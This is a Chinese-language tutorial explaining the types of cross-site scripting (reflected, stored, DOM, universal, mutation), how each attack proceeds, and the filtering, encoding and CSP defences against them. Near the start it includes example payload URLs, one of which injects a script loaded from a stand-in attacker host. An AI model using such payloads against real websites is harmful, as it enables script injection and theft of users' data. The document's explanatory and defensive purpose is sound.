XSS 攻击

XSS(Cross Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者利用网页站点的漏洞,通过巧妙的方法注入恶意指令代码到网页(如:表单提交,URL 注入),当其他正常用户浏览页面,而页面中刚好出现攻击者的恶意脚本时,脚本被执行,从而使得页面遭到破坏,或者用户信息被窃取。

最常见的几种分类:反射型(非持久型)、存储型(持久型)、DOM 型、通用型、突变型。

反射型(非持久型)XSS

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索,跳转等。由于需要用户主动打开或点击恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。比如下面的 URL:

http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>"
 
http://localhost/test.php?param=<script>alert(/xss/)</script>

POST 的内容也可以触发反射型 XSS,只不过它的触发条件比较苛刻(构建表单提交页面,并引导用户点击),所以非常少见。

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码
  2. 用户打开有恶意代码的 URL 时,网站服务器将恶意代码从 URL 取出,拼接在 HTML 返回给浏览器
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也会被执行
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作

反射型 XSS 受到 XSS Auditor(Chrome 内置的 XSS 保护,能够检测到 URL 上的 XSS 攻击,将网页拦截掉)、NoScript 等防御手段的影响较大,所以它的危害性较存储型要小。

存储型(持久型)XSS

恶意脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器传回并执行,影响范围比反射型和 DOM 型 XSS 更大。存储型 XSS 攻击的原因仍然是没有做好数据过滤:前端提交数据至服务器端时,没有做好过滤;服务端在按受到数据时,在存储之前,没有做过滤;前端从服务器端请求到数据,没有过滤输出。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖,商品评论,用户私信等。如骇客写下一篇包含有恶意 JavaScript 代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意 JS 代码。

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库中取出,拼接在 HTML 中返回给浏览器
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或冒充用户行为,凋用目标网站接口执行攻击者指定的操作

不论是反射型攻击还是存储型,攻击者总需要找到两个要点,即“输入点”与“输出点”,也只有这两者都满足,XSS 攻击才会生效:

  • “输入点”用于向 Web 页面注入所需的攻击代码
  • “输出点”就是攻击代码被执行的地方

DOM 型 XSS

DOM 型 XSS 攻击,实际上就是前端 JS 代码不够严谨,把不可信的内容插入到了页面。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JS 自身的安全漏洞。

DOM 型 XSS 是基于 DOM 文档对象模型的。对于浏览器来说,DOM 文档就是一份 XML 文档,当有了这个标准的技术之后,通过 JavaScript 就可以轻松的访问 DOM。当确认客户端代码中有 DOM 型 XSS 漏洞时,诱使(钓鱼)一名用户访问自己构造的 URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的 URL 参数不用发送到服务器端,可以达到绕过 WAF、躲避服务端的检测效果。

DOM 型 XSS 攻击步骤:

  1. 攻击者构造出特殊数据,其中包含恶意代码
  2. 用户浏览器执行了恶意代码
  3. 恶意窃取用户数据并发送到攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作

通用型 XSS

通用型 XSS,也叫做 UXSS 或者 Universal XSS,全称 Universal Cross-Site Scripting。

上面三种 XSS 攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是访问页面存在漏洞,但是 UXSS 是一种利用浏览器或者浏览器扩展漏洞来制造产生 XSS 的条件并执行代码的一种攻击类型。

不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为 UXSS 攻击不需要网站页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得 UXSS 成为 XSS 里危险和最具破坏性的攻击类型之一。

漏洞案例:

突变型 XSS

突变型 XSS,也叫做 mXSS 或,全称 Mutation-based Cross-Site-Scripting。(mutation,突变,来自遗传学的一个单词)

如果用户所提供的富文本内容通过 JS 代码进入 innerHTML 属性后,一些意外的变化会使得这个认定不再成立:浏览器的渲染引擎会将本来没有任何危害的 HTML 代码渲染成具有潜在危险的 XSS 攻击代码。

由于 HTML 内容进入 innerHTML 后发生意外变化,将会导致潜在的 mXSS 攻击。

常见 mXSS 种类:

  • 反引号打破属性边界导致的 mXSS:该类型是最早被发现并利用的一类 mXSS,于 2007 年被提出,随后被有效的修复
  • 未知元素中的 xmlns 属性所导致的 mXSS:一些浏览器不支持 HTML5 的标记,例如 IE8,会将 articleasidemenu 等当作是未知的 HTML 标签
  • CSS 中反斜线转义导致的 mXSS:在 CSS 中,允许用 \ 来对字符进行转义,例如:property: 'v\61 lue' 表示 property: 'value',其中 61 是字母 a 的 ascii 码(十六进制)。\ 后也可以接 unicode,例如:\20AC 表示 。正常情况下,这种转义不会有问题。但是碰上 innerHTML 后,一些奇妙的事情就会发生
  • CSS 中双引号实体或转义导致的 mXSS:&quot;&#x22;&#34; 等双引号的表示形式均可导致这类问题
  • CSS 属性名中的转义所导致的 mXSS
  • 非 HTML 文档中的实体突变
  • HTML 文档中的非 HTML 上下文的实体突变

防御方式

XSS 攻击有两大要素:

  1. 攻击者提交恶意代码
  2. 浏览器执行恶意代码

对用户提交的内容进行过滤或编码

服务端和客户端对用户提交的内容进行过滤或编码

  • 过滤:去掉一些危险的标签,去掉一些危险的属性
  • 编码:对危险的标签进行 HTML 实体编码

一般需要前端(作为 HTML 插到页面前、作为代码执行前、提交给后端前)和后端(存入数据库前)都做过滤或编码:

  • 前端:预防 DOM 型 XSS 攻击;预防将恶意代码提交给服务器;预防后端返回包含恶意代码的数据
  • 后端:预防攻击者绕过前端过滤,直接构造请求,提交恶意代码

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 innerHTMLouterHTMLdocument.write()、Vue 的 v-html、React 的 dangerouslySetInnerHTML 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 textContentsetAttribute() 等。

DOM 中的内联事件监听器,如 locationonclickonerroronload 等,标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

使用 CSP(内容安全策略)

建立白名单,告诉浏览器哪些外部资源可以被执行。它的实现和执行全都由浏览器完成,开发者只需要提供配置

开启CSP配置:

  1. 在 HTTP 首部设置 Content-Security-Policy
  2. 在 meta 标签设置 http-equiv 属性为 Content-Security-Policy